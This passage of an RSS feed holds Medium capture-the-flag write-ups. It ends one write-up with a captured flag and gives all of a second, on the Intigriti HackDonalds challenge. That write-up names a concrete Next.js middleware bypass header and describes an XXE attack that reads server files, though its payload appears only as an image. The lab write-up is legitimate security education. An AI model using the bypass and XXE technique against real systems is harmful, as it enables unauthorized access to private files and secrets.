for the incoming flag.</li></ol><p>5. 🏁 <strong>Results &amp; Evidence</strong><br>Upon the bot’s visit, the following request was captured in my listener:</p><p><strong>Captured Flag: INTIGRITI{x.X.x.X.x.X.x.X}</strong> 🚩</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ECUNWb5oDvxxgOcUG3dJiA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d693a99faa8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Breaking Into HackDonalds: XXE + Middleware Abuse (CTF Writeup)]]></title>
            <link>https://medium.com/@laftman/breaking-into-hackdonalds-xxe-middleware-abuse-ctf-writeup-5e67fadbb1bd?source=rss-7cd33463fbac------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e67fadbb1bd</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ciberseguridad]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[⛧ Ⱡ₳₣₮M₳₦⛧]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 13:21:25 GMT</pubDate>
            <atom:updated>2025-04-15T13:21:25.752Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPeU76URWAhvvOH17JiEFg.png" /></figure><p>During the <strong>HackDonalds CTF challenge</strong> on Intigriti, I discovered a powerful combination of <strong>Next.js middleware abuse</strong> and a classic <strong>XXE vulnerability</strong>, which ultimately exposed sensitive files on the server — including the challenge <strong>flag</strong>.</p><h3>🔍 Summary</h3><ul><li>Vulnerable endpoint: /api/parse-xml.json</li><li>Exploitable only with the header: X-Middleware-Subrequest: middleware</li><li>XXE payload enabled reading local files (e.g., /app/package.json)</li><li>Result: Full file read, leading to the flag</li></ul><h3>🧠 Vulnerability Chain</h3><h3>1. Middleware Abuse</h3><p>Normally, accessing /admin or the XML parser directly would return an error. However, by adding the following header:</p><blockquote>X-Middleware-Subrequest: middleware</blockquote><p>…it becomes possible to bypass standard routing protections in <strong>Next.js</strong> and interact directly with middleware-based APIs.</p><h3>2. Discovering the Endpoint</h3><p>After reaching the admin panel via modified headers, I inspected the source and discovered a reference to /api/parse-xml.json.</p><p>This is where things got interesting.</p><h3>3. XXE Exploitation</h3><p>The endpoint accepts XML input wrapped in JSON. Here’s the crafted <strong>POST request</strong> I used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qOq3f_XFdtZdcx6AtJgOwg.png" /></figure><h3>🏁 Result</h3><p>The server responded with the contents of /app/package.json, which included:</p><blockquote>INTIGRITI{XXE_1n_Ic3Cr34m_M4ch1n3s}</blockquote><p>🎯 <strong>Flag successfully captured.</strong></p><h3>💥 Impact</h3><p>This vulnerability chain, if found in a real-world application, would allow:</p><ul><li>Exposure of sensitive backend files</li><li>Access to configuration files (e.g., secrets, API keys)</li><li>Possible remote code execution depending on what’s accessible</li></ul><p>It demonstrates the <strong>real-world danger</strong> of:</p><ul><li>Improper middleware access controls</li><li>Unsanitized XML input</li><li>Misconfigured XML parsers</li></ul><h3>🙏 Thanks</h3><p>Big thanks to the Intigriti team for organizing this fun CTF!<br> Looking forward to the next one 🔐💜</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e67fadbb1bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>